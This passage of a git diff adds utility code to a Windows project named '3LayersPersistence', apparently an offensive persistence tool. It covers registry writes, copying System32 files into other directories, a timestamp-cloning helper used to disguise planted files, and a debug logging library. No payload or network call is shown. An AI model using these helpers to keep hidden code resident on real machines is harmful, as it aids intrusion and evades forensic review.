+ {
+ if (pbAlreadyExisted)
+ *pbAlreadyExisted = TRUE;
+ return TRUE;
+ }
+ // Value exists but holds a mismatching value, so we need to overwrite
+ bOverwrite = TRUE;
+ }
+ else
+ {
+ DBG("[i] Registry Key Not Found, Creating ...");
+ }
+
+ if (!SetRegistryDwordW(hRoot, pwszPath, pwszName, dwExpectedValue, bOverwrite))
+ return FALSE;
+
+ return TRUE;
+}
+
+#pragma endregion
diff --git a/3LayersPersistence/Utilities.cpp b/3LayersPersistence/Utilities.cpp
new file mode 100644
index 0000000..7b91c4b
--- /dev/null
+++ b/3LayersPersistence/Utilities.cpp
@@ -0,0 +1,450 @@
+#include "Headers.h"
+
+
+// ==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==
+
+#pragma region STRING_MANIPLUATION
+
+LPVOID ConvertString(IN LPVOID pvSrc, IN INT cbSrc, IN STRING_ENCODING Encoding)
+{
+ INT cbNeeded = 0x00;
+ LPVOID pvDst = NULL;
+ UINT uCodePage = 0x00;
+
+ if (!pvSrc || cbSrc == 0) return NULL;
+
+ switch (Encoding)
+ {
+ case ENCODING_ANSI_TO_WIDE:
+ case ENCODING_UTF8_TO_WIDE:
+ {
+ uCodePage = (Encoding == ENCODING_UTF8_TO_WIDE) ? CP_UTF8 : CP_ACP;
+
+ if ((cbNeeded = MultiByteToWideChar(uCodePage, 0, (LPCSTR)pvSrc, cbSrc, NULL, 0)) <= 0)
+ {
+ DBG_LAST_ERROR("MultiByteToWideChar");
+ return NULL;
+ }
+
+ HEAP_ALLOC(pvDst, ((cbNeeded + 1) * sizeof(WCHAR)));
+ if (!pvDst) return NULL;
+
+ MultiByteToWideChar(uCodePage, 0, (LPCSTR)pvSrc, cbSrc, (LPWSTR)pvDst, cbNeeded);
+ break;
+ }
+
+ case ENCODING_WIDE_TO_ANSI:
+ case ENCODING_WIDE_TO_UTF8:
+ {
+ uCodePage = (Encoding == ENCODING_WIDE_TO_UTF8) ? CP_UTF8 : CP_ACP;
+
+ if ((cbNeeded = WideCharToMultiByte(uCodePage, 0, (LPCWSTR)pvSrc, cbSrc, NULL, 0, NULL, NULL)) <= 0)
+ {
+ DBG_LAST_ERROR("WideCharToMultiByte");
+ return NULL;
+ }
+
+ HEAP_ALLOC(pvDst, (cbNeeded + 1));
+ if (!pvDst) return NULL;
+
+ WideCharToMultiByte(uCodePage, 0, (LPCWSTR)pvSrc, cbSrc, (LPSTR)pvDst, cbNeeded, NULL, NULL);
+ break;
+ }
+
+ case ENCODING_ANSI_TO_UTF8:
+ {
+ LPWSTR pwszIntermediate = (LPWSTR)ConvertString(pvSrc, cbSrc, ENCODING_ANSI_TO_WIDE);
+ if (!pwszIntermediate) return NULL;
+
+ pvDst = ConvertString(pwszIntermediate, (SIZE_T)lstrlenW(pwszIntermediate), ENCODING_WIDE_TO_UTF8);
+ HEAP_FREE(pwszIntermediate);
+ break;
+ }
+
+ case ENCODING_UTF8_TO_ANSI:
+ {
+ LPWSTR pwszIntermediate = (LPWSTR)ConvertString(pvSrc, cbSrc, ENCODING_UTF8_TO_WIDE);
+ if (!pwszIntermediate) return NULL;
+
+ pvDst = ConvertString(pwszIntermediate, (SIZE_T)lstrlenW(pwszIntermediate), ENCODING_WIDE_TO_ANSI);
+ HEAP_FREE(pwszIntermediate);
+ break;
+ }
+
+ default:
+ return NULL;
+ }
+
+ return pvDst;
+}
+
+#pragma endregion
+
+// ==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==
+
+#pragma region FILE_IO
+
+BOOL ReadFileFromDiskW(IN LPCWSTR szFileName, OUT PBYTE* ppFileBuffer, OUT PDWORD pdwFileSize)
+{
+ HANDLE hFile = INVALID_HANDLE_VALUE;
+ DWORD dwFileSize = 0x00,
+ dwNumberOfBytesRead = 0x00;
+ PBYTE pBaseAddress = NULL;
+
+ if (!szFileName || !pdwFileSize || !ppFileBuffer)
+ return FALSE;
+
+ if ((hFile = CreateFileW(szFileName, GENERIC_READ, 0x00, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL)) == INVALID_HANDLE_VALUE)
+ {
+ DBG_LAST_ERROR("CreateFileW");
+ goto _END_OF_FUNC;
+ }
+
+ if ((dwFileSize = GetFileSize(hFile, NULL)) == INVALID_FILE_SIZE)
+ {
+ DBG_LAST_ERROR("GetFileSize");
+ goto _END_OF_FUNC;
+ }
+
+ HEAP_ALLOC(pBaseAddress, dwFileSize);
+ if (!pBaseAddress) goto _END_OF_FUNC;
+
+ if (!ReadFile(hFile, pBaseAddress, dwFileSize, &dwNumberOfBytesRead, NULL) || dwFileSize != dwNumberOfBytesRead)
+ {
+ DBG_LAST_ERROR("ReadFile");
+ DBG("[i] Read %d Of %d Bytes", dwNumberOfBytesRead, dwFileSize);
+ goto _END_OF_FUNC;
+ }
+
+ *ppFileBuffer = pBaseAddress;
+ *pdwFileSize = dwFileSize;
+
+_END_OF_FUNC:
+ CLOSE_HANDLE(hFile);
+ if (!*ppFileBuffer) { HEAP_FREE(pBaseAddress); }
+ return (*ppFileBuffer && *pdwFileSize) ? TRUE : FALSE;
+}
+
+BOOL WriteFileToDiskW(IN LPCWSTR pszFileName, IN CONST BYTE* pbDataBuffer, IN DWORD dwDataLength)
+{
+ HANDLE hFile = INVALID_HANDLE_VALUE;
+ DWORD dwNumerOfBytesWritten = 0x00;
+ BOOL bResult = FALSE;
+
+ if (!pszFileName || !pbDataBuffer || dwDataLength == 0x00)
+ return FALSE;
+
+ if ((hFile = CreateFileW(pszFileName, GENERIC_WRITE, 0x00, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL)) == INVALID_HANDLE_VALUE)
+ {
+ DBG_LAST_ERROR("CreateFileW");
+ goto _END_OF_FUNC;
+ }
+
+ if (!WriteFile(hFile, pbDataBuffer, dwDataLength, &dwNumerOfBytesWritten, NULL) || dwNumerOfBytesWritten != dwDataLength)
+ {
+ DBG_LAST_ERROR("WriteFile");
+ DBG("[i] Wrote %d Of %d Bytes", dwNumerOfBytesWritten, dwDataLength);
+ goto _END_OF_FUNC;
+ }
+
+ bResult = TRUE;
+
+_END_OF_FUNC:
+ CLOSE_HANDLE(hFile);
+ return bResult;
+}
+
+BOOL CloneFileTimestampsW(IN LPCWSTR pwszSrcPath, IN LPCWSTR pwszDstPath)
+{
+ HANDLE hSrcFile = INVALID_HANDLE_VALUE,
+ hDstFile = INVALID_HANDLE_VALUE;
+ FILETIME ftCreation = { 0 },
+ ftLastAccess = { 0 },
+ ftLastWrite = { 0 };
+ BOOL bResult = FALSE;
+
+ if (!pwszSrcPath || !pwszDstPath)
+ return FALSE;
+
+ if ((hSrcFile = CreateFileW(pwszSrcPath, GENERIC_READ, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING, FILE_FLAG_BACKUP_SEMANTICS, NULL)) == INVALID_HANDLE_VALUE)
+ {
+ DBG_LAST_ERROR("CreateFileW");
+ return FALSE;
+ }
+
+ if (!GetFileTime(hSrcFile, &ftCreation, &ftLastAccess, &ftLastWrite))
+ {
+ DBG_LAST_ERROR("GetFileTime");
+ goto _END_OF_FUNC;
+ }
+
+ if ((hDstFile = CreateFileW(pwszDstPath, FILE_WRITE_ATTRIBUTES, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING, FILE_FLAG_BACKUP_SEMANTICS, NULL)) == INVALID_HANDLE_VALUE)
+ {
+ DBG_LAST_ERROR("CreateFileW");
+ goto _END_OF_FUNC;
+ }
+
+ if (!SetFileTime(hDstFile, &ftCreation, &ftLastAccess, &ftLastWrite))
+ {
+ DBG_LAST_ERROR("SetFileTime");
+ goto _END_OF_FUNC;
+ }
+
+ bResult = TRUE;
+
+_END_OF_FUNC:
+ CLOSE_HANDLE(hSrcFile);
+ CLOSE_HANDLE(hDstFile);
+ return bResult;
+}
+
+#pragma endregion
+
+// ==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==
+
+#pragma region REG_IO
+
+BOOL SetRegistryStringW(IN HKEY hRoot, IN LPCWSTR pwszPath, IN LPCWSTR pwszName, IN LPCWSTR pwszValue, IN BOOL bOverwrite)
+{
+ HKEY hKey = NULL;
+ DWORD dwDisposition = 0x00;
+ LSTATUS lStatus = ERROR_SUCCESS;
+ BOOL bResult = FALSE;
+
+ if ((lStatus = RegCreateKeyExW(hRoot, pwszPath, 0, NULL, 0, KEY_WRITE, NULL, &hKey, &dwDisposition)) != ERROR_SUCCESS)
+ {
+ DBG_HEX_ERROR("RegCreateKeyExW", lStatus);
+ return FALSE;
+ }
+
+ if (dwDisposition == REG_OPENED_EXISTING_KEY && !bOverwrite)
+ {
+ DBG("[i] Registry Key Already Exists, Skipping");
+ bResult = TRUE;
+ goto _END_OF_FUNC;
+ }
+
+ if ((lStatus = RegSetValueExW(hKey, pwszName, 0, REG_SZ, (LPBYTE)pwszValue, (DWORD)((lstrlenW(pwszValue) + 1) * sizeof(WCHAR)))) != ERROR_SUCCESS)
+ {
+ DBG_HEX_ERROR("RegSetValueExW", lStatus);
+ goto _END_OF_FUNC;
+ }
+
+ bResult = TRUE;
+
+_END_OF_FUNC:
+ RegCloseKey(hKey);
+ return bResult;
+}
+
+BOOL SetRegistryDwordW(IN HKEY hRoot, IN LPCWSTR pwszPath, IN LPCWSTR pwszName, IN DWORD dwValue, IN BOOL bOverwrite)
+{
+ HKEY hKey = NULL;
+ DWORD dwDisposition = 0x00;
+ LSTATUS lStatus = ERROR_SUCCESS;
+ BOOL bResult = FALSE;
+
+ if ((lStatus = RegCreateKeyExW(hRoot, pwszPath, 0, NULL, 0, KEY_WRITE, NULL, &hKey, &dwDisposition)) != ERROR_SUCCESS)
+ {
+ DBG_HEX_ERROR("RegCreateKeyExW", lStatus);
+ return FALSE;
+ }
+
+ if (dwDisposition == REG_OPENED_EXISTING_KEY && !bOverwrite)
+ {
+ DBG("[i] Registry Key Already Exists, Skipping");
+ bResult = TRUE;
+ goto _END_OF_FUNC;
+ }
+
+ if ((lStatus = RegSetValueExW(hKey, pwszName, 0, REG_DWORD, (LPBYTE)&dwValue, sizeof(DWORD))) != ERROR_SUCCESS)
+ {
+ DBG_HEX_ERROR("RegSetValueExW", lStatus);
+ goto _END_OF_FUNC;
+ }
+
+ bResult = TRUE;
+
+_END_OF_FUNC:
+ RegCloseKey(hKey);
+ return bResult;
+}
+
+BOOL GetRegistryDwordW(IN HKEY hRoot, IN LPCWSTR pwszPath, IN LPCWSTR pwszName, OUT PDWORD pdwOutput)
+{
+ HKEY hKey = NULL;
+ DWORD dwType = REG_DWORD,
+ dwDataLength = sizeof(DWORD);
+ LSTATUS lStatus = ERROR_SUCCESS;
+ BOOL bResult = FALSE;
+
+ if ((lStatus = RegOpenKeyExW(hRoot, pwszPath, 0, KEY_READ, &hKey)) != ERROR_SUCCESS)
+ {
+ DBG_HEX_ERROR("RegOpenKeyExW", lStatus);
+ return FALSE;
+ }
+
+ if ((lStatus = RegQueryValueExW(hKey, pwszName, NULL, &dwType, (LPBYTE)pdwOutput, &dwDataLength)) != ERROR_SUCCESS)
+ {
+ DBG_HEX_ERROR("RegQueryValueExW", lStatus);
+ goto _END_OF_FUNC;
+ }
+
+ bResult = TRUE;
+
+_END_OF_FUNC:
+ RegCloseKey(hKey);
+ return bResult;
+}
+
+BOOL DeleteRegistryKeyW(IN HKEY hRoot, IN LPCWSTR pwszPath)
+{
+ LSTATUS lStatus = ERROR_SUCCESS;
+
+ if ((lStatus = RegDeleteTreeW(hRoot, pwszPath)) != ERROR_SUCCESS)
+ {
+ DBG_HEX_ERROR("RegDeleteTreeW", lStatus);
+ return FALSE;
+ }
+
+ return TRUE;
+}
+
+#pragma endregion
+
+// ==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==
+
+#pragma region FILE_SYSTEM
+
+// Builds the full path to a file in the System32 directory.
+BOOL GetSystem32PathW(IN LPCWSTR pwszFileName, OUT LPWSTR pwszOutPath, IN DWORD dwOutSize)
+{
+ WCHAR wszSystem32Path[MAX_PATH] = { 0 };
+
+ if (!pwszFileName || !pwszOutPath || !dwOutSize)
+ return FALSE;
+
+ if (!GetSystemDirectoryW(wszSystem32Path, ARRAYSIZE(wszSystem32Path)))
+ {
+ DBG_LAST_ERROR("GetSystemDirectoryW");
+ return FALSE;
+ }
+
+ if (wsprintfW(pwszOutPath, L"%s\\%s", wszSystem32Path, pwszFileName) < 0)
+ {
+ DBG_LAST_ERROR("wsprintfW");
+ return FALSE;
+ }
+
+ return TRUE;
+}
+
+
+// Extracts the directory component from a full file path, or uses the path as-is
+// if it is already a directory (when bIsFilePath is false), and creates the directory if it doesn't exist
+BOOL EnsureDirectoryExistsW(IN LPCWSTR pwszPath, IN BOOL bIsFilePath)
+{
+ WCHAR wszDirPath[MAX_PATH] = { 0 };
+ HRESULT hResult = S_OK;
+
+ if (!pwszPath) return FALSE;
+
+ if (FAILED((hResult = StringCchCopyW(wszDirPath, ARRAYSIZE(wszDirPath), pwszPath))))
+ {
+ DBG_HEX_ERROR("StringCchCopyW", hResult);
+ return FALSE;
+ }
+
+ if (bIsFilePath) PathRemoveFileSpecW(wszDirPath);
+
+ if (!CreateDirectoryW(wszDirPath, NULL) && GetLastError() != ERROR_ALREADY_EXISTS)
+ {
+ DBG_LAST_ERROR("CreateDirectoryW");
+ return FALSE;
+ }
+
+ return TRUE;
+}
+
+
+/*
+ * Copies a file to a destination directory, while creating the directory if it doesn't exist.
+ * It calls both EnsureDirectoryExistsW and GetSystem32PathW depending on the parameters:
+ *
+ * pwszDestPath [IN] - Destination directory path. Supports environment variables, this is created if doesnt exist.
+ * pwszDestName [IN/OPTIONAL] - Destination file name. If NULL, the source file name is used.
+ * pwszSrcPath [IN/OPTIONAL] - Source directory path. If NULL, System32 is used as the source directory.
+ * pwszSrcName [IN] - Source file name.
+ * pwszOutFullPath [OUT/OPTIONAL] - Output parameter that receives the full destination path of the copied file. If NULL, ignored.
+ * dwOutFullPathSize [IN/OPTIONAL] - Output parameter that receives the size of the outputted pwszOutFullPath buffer in characters.
+*/
+
+BOOL CopyFileToDirW(IN LPCWSTR pwszDestPath, IN OPTIONAL LPCWSTR pwszDestName, IN OPTIONAL LPCWSTR pwszSrcPath, IN LPCWSTR pwszSrcName, OUT OPTIONAL LPWSTR pwszOutFullPath, IN OPTIONAL DWORD dwOutFullPathSize)
+{
+ WCHAR wszExpandedDestPath[MAX_PATH] = { 0 };
+ WCHAR wszFullSrcPath[MAX_PATH] = { 0 };
+ WCHAR wszFullDestPath[MAX_PATH] = { 0 };
+ HRESULT hResult = S_OK;
+ LPCWSTR pwszFinalDestName = NULL;
+
+ if (!pwszDestPath || !pwszSrcName) return FALSE;
+ if (pwszOutFullPath && !dwOutFullPathSize) return FALSE;
+
+ // Expand environment variables in the destination path if any
+ if (!ExpandEnvironmentStringsW(pwszDestPath, wszExpandedDestPath, ARRAYSIZE(wszExpandedDestPath)))
+ {
+ DBG_LAST_ERROR("ExpandEnvironmentStringsW");
+ return FALSE;
+ }
+
+ // Create the destination directory if it doesn't exist
+ if (!EnsureDirectoryExistsW(wszExpandedDestPath, FALSE))
+ return FALSE;
+
+ // If no source path provided, copy from System32
+ if (pwszSrcPath == NULL)
+ {
+ if (!GetSystem32PathW(pwszSrcName, wszFullSrcPath, ARRAYSIZE(wszFullSrcPath)))
+ return FALSE;
+ }
+ else
+ {
+ if (wsprintfW(wszFullSrcPath, L"%s\\%s", pwszSrcPath, pwszSrcName) < 0)
+ {
+ DBG_LAST_ERROR("wsprintfW");
+ return FALSE;
+ }
+ }
+
+ // If no destination name provided, use the source name
+ pwszFinalDestName = (pwszDestName != NULL) ? pwszDestName : pwszSrcName;
+
+ // Build the full destination path
+ if (wsprintfW(wszFullDestPath, L"%s\\%s", wszExpandedDestPath, pwszFinalDestName) < 0)
+ {
+ DBG_LAST_ERROR("wsprintfW");
+ return FALSE;
+ }
+
+ // Copy the file, fail if destination already exists
+ if (!CopyFileW(wszFullSrcPath, wszFullDestPath, TRUE))
+ {
+ DBG_LAST_ERROR("CopyFileW");
+ return FALSE;
+ }
+
+ // If the caller provided an output buffer, fill it with the full destination path
+ if (pwszOutFullPath != NULL)
+ {
+ if (FAILED((hResult = StringCchCopyW(pwszOutFullPath, dwOutFullPathSize, wszFullDestPath))))
+ {
+ DBG_HEX_ERROR("StringCchCopyW", hResult);
+ return FALSE;
+ }
+ }
+
+ return TRUE;
+}
+
+
+#pragma endregion
diff --git a/3LayersPersistence/Utilities/DebugMacros.c b/3LayersPersistence/Utilities/DebugMacros.c
new file mode 100644
index 0000000..d3bb9f5
--- /dev/null
+++ b/3LayersPersistence/Utilities/DebugMacros.c
@@ -0,0 +1,262 @@
+#include "DebugMacros.h"
+
+
+// ==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==
+// FLS
+// ==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==
+
+static DWORD g_dwFlsIdx = FLS_OUT_OF_INDEXES;
+
+static VOID WINAPI DbgFlsDestructor(IN PVOID pBuffer)
+{
+ if (pBuffer)
+ {
+ LocalFree((HLOCAL)pBuffer);
+ }
+}
+
+static LPSTR DbgGetBuffer(VOID)
+{
+ DWORD dwCandidateSlot = 0x00,
+ dwFlsSlot = 0x00;
+ LPSTR pThreadBuffer = NULL;
+
+ if ((DWORD)InterlockedOr((LONG volatile*)&g_dwFlsIdx, 0) == FLS_OUT_OF_INDEXES)
+ {
+ // Allocate one FLS slot process-wide
+ if ((dwCandidateSlot = FlsAlloc(DbgFlsDestructor)) == FLS_OUT_OF_INDEXES)
+ return NULL;
+
+ // Loser of the race discards its slot
+ if ((DWORD)InterlockedCompareExchange((LONG volatile*)&g_dwFlsIdx, (LONG)dwCandidateSlot, (LONG)FLS_OUT_OF_INDEXES) != FLS_OUT_OF_INDEXES)
+ FlsFree(dwCandidateSlot);
+ }
+
+ dwFlsSlot = (DWORD)InterlockedOr((LONG volatile*)&g_dwFlsIdx, 0);
+ pThreadBuffer = (LPSTR)FlsGetValue(dwFlsSlot);
+
+ // First call on this thread
+ if (pThreadBuffer == NULL)
+ {
+ // Allocate the thread's private buffer
+ if ((pThreadBuffer = (LPSTR)LocalAlloc(LPTR, BUFFER_SIZE_2048)) == NULL)
+ return NULL;
+
+ FlsSetValue(dwFlsSlot, pThreadBuffer);
+ }
+
+ return pThreadBuffer;
+}
+
+// ==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==
+// FILE SINK
+// ==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==
+#ifdef _DBG_USE_FILE
+
+static CHAR g_szLogFilename[MAX_PATH] = { 0 };
+static SRWLOCK g_srwFileLock = SRWLOCK_INIT;
+static LONG g_lFilenameReady = 0x00;
+static LONG g_lFileCreated = 0x00;
+static HANDLE g_hLogFile = NULL;
+
+// Derives ".log" from the running image path, runs once
+static VOID DbgEnsureLogFilename(VOID)
+{
+ CHAR szExePath[MAX_PATH] = { 0 };
+ LPSTR pszExeName = NULL,
+ pszExtension = NULL;
+
+ if (InterlockedCompareExchange(&g_lFilenameReady, 1, 0) == 0)
+ {
+ GetModuleFileNameA(NULL, szExePath, MAX_PATH);
+
+ pszExeName = PathFindFileNameA(szExePath);
+ pszExtension = PathFindExtensionA(pszExeName);
+
+ // Strip the .exe extension before appending .log
+ if (pszExtension) *pszExtension = '\0';
+
+ wsprintfA(g_szLogFilename, "%s.log", pszExeName);
+ }
+}
+
+static VOID DbgSinkFile(LPCSTR pszBuffer)
+{
+ DWORD dwAccess = 0x00,
+ dwCreationDisp = 0x00,
+ dwBytesWritten = 0x00;
+
+ AcquireSRWLockExclusive(&g_srwFileLock);
+
+ // Open the file handle on first write
+ if (g_hLogFile == NULL)
+ {
+ DbgEnsureLogFilename();
+
+ // First open ever: truncates
+ if (InterlockedCompareExchange(&g_lFileCreated, 1, 0) == 0)
+ {
+ dwAccess = GENERIC_WRITE;
+ dwCreationDisp = CREATE_ALWAYS;
+ }
+ // Subsequent opens: append
+ else
+ {
+ dwAccess = FILE_APPEND_DATA;
+ dwCreationDisp = OPEN_ALWAYS;
+ }
+
+ if ((g_hLogFile = CreateFileA(g_szLogFilename, dwAccess, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, dwCreationDisp, 0, NULL)) == INVALID_HANDLE_VALUE)
+ g_hLogFile = NULL;
+ }
+
+ if (g_hLogFile)
+ WriteFile(g_hLogFile, pszBuffer, (DWORD)lstrlenA(pszBuffer), &dwBytesWritten, NULL);
+
+ ReleaseSRWLockExclusive(&g_srwFileLock);
+}
+
+
+static VOID DbgCloseFile(VOID)
+{
+ AcquireSRWLockExclusive(&g_srwFileLock);
+
+ if (g_hLogFile)
+ {
+ CloseHandle(g_hLogFile);
+ g_hLogFile = NULL;
+ }
+
+ ReleaseSRWLockExclusive(&g_srwFileLock);
+}
+
+#endif // _DBG_USE_FILE
+
+// ==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==
+// CONSOLE SINK
+// ==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==
+
+#ifdef _DBG_USE_CONSOLE
+
+static HANDLE g_hConsole = INVALID_HANDLE_VALUE;
+static LONG g_lConReady = 0x00;
+static LONG g_lConAllocated = 0x00;
+
+static VOID DbgEnsureConsole(VOID)
+{
+ HANDLE hConsole = NULL;
+
+ if (InterlockedCompareExchange(&g_lConReady, 1, 0) == 0)
+ {
+ hConsole = GetStdHandle(STD_OUTPUT_HANDLE);
+
+ // No existing console
+ if (hConsole == INVALID_HANDLE_VALUE || hConsole == NULL)
+ {
+ // Allocate one
+ if (AllocConsole())
+ {
+ InterlockedExchange(&g_lConAllocated, 1);
+ hConsole = GetStdHandle(STD_OUTPUT_HANDLE);
+ }
+ }
+
+ InterlockedExchangePointer((PVOID volatile*)&g_hConsole, (hConsole && hConsole != INVALID_HANDLE_VALUE) ? hConsole : (PVOID)INVALID_HANDLE_VALUE);
+ }
+}
+
+static VOID DbgSinkConsole(LPCSTR pszBuffer)
+{
+ HANDLE hConsole = NULL;
+ DWORD dwBytesWritten = 0x00;
+
+ DbgEnsureConsole();
+
+ // Snapshot the handle in case DbgClose races with us
+ hConsole = (HANDLE)InterlockedCompareExchangePointer((PVOID volatile*)&g_hConsole, NULL, NULL);
+
+ if (hConsole != INVALID_HANDLE_VALUE && hConsole != NULL)
+ WriteFile(hConsole, pszBuffer, (DWORD)lstrlenA(pszBuffer), &dwBytesWritten, NULL);
+}
+
+static VOID DbgCloseConsole(VOID)
+{
+ // Invalidate the handle before freeing so no thread writes to it after
+ InterlockedExchangePointer((PVOID volatile*)&g_hConsole, (PVOID)INVALID_HANDLE_VALUE);
+
+ if (InterlockedExchange(&g_lConAllocated, 0) == 1)
+ FreeConsole();
+
+ InterlockedExchange(&g_lConReady, 0);
+}
+
+#endif // _DBG_USE_CONSOLE
+
+// ==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==
+// PUBLIC FUNCTIONS
+// ==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==
+
+VOID DbgWrite(LPCSTR pszFile, INT nLine, LPCSTR pszFmt, ...)
+{
+ DWORD dwSavedError = 0x00;
+ INT cchWritten = 0x00;
+ LPSTR pszBuffer = NULL;
+ va_list pszVaArgs = NULL;
+
+ // Capture the caller's last error before running our logic
+ dwSavedError = GetLastError();
+
+ if ((pszBuffer = DbgGetBuffer()) == NULL)
+ goto _END_OF_FUNC;
+
+ va_start(pszVaArgs, pszFmt);
+ cchWritten = wvsprintfA(pszBuffer, pszFmt, pszVaArgs);
+ va_end(pszVaArgs);
+
+ if (cchWritten < 0)
+ goto _END_OF_FUNC;
+
+ // Append file and line tag if there's room
+ if (cchWritten < BUFFER_SIZE_2048 - 1)
+ wsprintfA(pszBuffer + cchWritten, " [%s:%d]\n", pszFile, nLine);
+ else
+ {
+ // Message was too long. Add '...\n\0'
+ pszBuffer[BUFFER_SIZE_2048 - 5] = '.';
+ pszBuffer[BUFFER_SIZE_2048 - 4] = '.';
+ pszBuffer[BUFFER_SIZE_2048 - 3] = '.';
+ pszBuffer[BUFFER_SIZE_2048 - 2] = '\n';
+ pszBuffer[BUFFER_SIZE_2048 - 1] = '\0';
+ }
+
+#ifdef _DBG_USE_DEBUGSTR
+ OutputDebugStringA(pszBuffer);
+#endif
+#ifdef _DBG_USE_FILE
+ DbgSinkFile(pszBuffer);
+#endif
+#ifdef _DBG_USE_CONSOLE
+ DbgSinkConsole(pszBuffer);
+#endif
+
+_END_OF_FUNC:
+ // Restore caller's last error
+ SetLastError(dwSavedError);
+}
+
+
+VOID DbgClose(VOID)
+{
+ DWORD dwFlsSlot = FLS_OUT_OF_INDEXES;
+
+ // Swap the slot index to FLS_OUT_OF_INDEXES
+ if ((dwFlsSlot = (DWORD)InterlockedExchange((LONG volatile*)&g_dwFlsIdx, (LONG)FLS_OUT_OF_INDEXES)) != FLS_OUT_OF_INDEXES)
+ FlsFree(dwFlsSlot);
+
+#ifdef _DBG_USE_FILE
+ DbgCloseFile();
+#endif
+#ifdef _DBG_USE_CONSOLE
+ DbgCloseConsole();
+#endif
+}
\ No newline at end of file
diff --git a/3LayersPersistence/Utilities/DebugMacros.h b/3LayersPersistence/Utilities/DebugMacros.h
new file mode 100644
index 0000000..a0a8e96
--- /dev/null
+++ b/3LayersPersistence/Utilities/DebugMacros.h
@@ -0,0 +1,94 @@
+// ==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==
+// Define Any Combination At The *Project Level* (compiler flags / project settings) Before Building:
+//
+// _DBG_USE_DEBUGSTR -> DbgView
+// _DBG_USE_FILE -> File
+// _DBG_USE_CONSOLE -> Console (Default)
+//
+// *In Release Mode*, None Of These Will Work Unless This Is Also Defined At The Project Level:
+//
+// _DBG_FORCE
+//
+// ==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==
+#pragma once
+#ifndef DEBUG_MACROS_H
+#define DEBUG_MACROS_H
+
+#include
+#include
+#include
+
+#pragma comment(lib, "Shlwapi.lib")
+
+// ==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==
+// HELPERS
+// ==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==
+
+#ifndef BUFFER_SIZE_2048
+#define BUFFER_SIZE_2048 2048
+#endif
+
+#ifndef GET_FILENAMEA
+#define GET_FILENAMEA(PATHA) PathFindFileNameA(PATHA)
+#endif
+
+#ifndef GET_FILENAMEW
+#define GET_FILENAMEW(PATHW) PathFindFileNameW(PATHW)
+#endif
+
+#if !defined(_DBG_USE_DEBUGSTR) && !defined(_DBG_USE_FILE) && !defined(_DBG_USE_CONSOLE)
+#define _DBG_USE_CONSOLE
+#endif
+
+// ==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==
+// INTERNAL FUNCTION DECLARATIONS
+// ==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==
+
+#ifdef __cplusplus
+extern "C" {
+#endif
+
+ VOID DbgWrite(LPCSTR pszFile, INT nLine, LPCSTR pszFmt, ...);
+ VOID DbgClose(VOID);
+
+#ifdef __cplusplus
+}
+#endif
+
+// ==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==
+// DBG & DBG_CLOSE
+// ==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==
+
+#define DBG_CLOSE() DbgClose()
+
+#if defined(_DEBUG) || defined(_DBG_FORCE)
+#define DBG(fmt, ...) DbgWrite(GET_FILENAMEA(__FILE__), __LINE__, fmt, ##__VA_ARGS__)
+#else
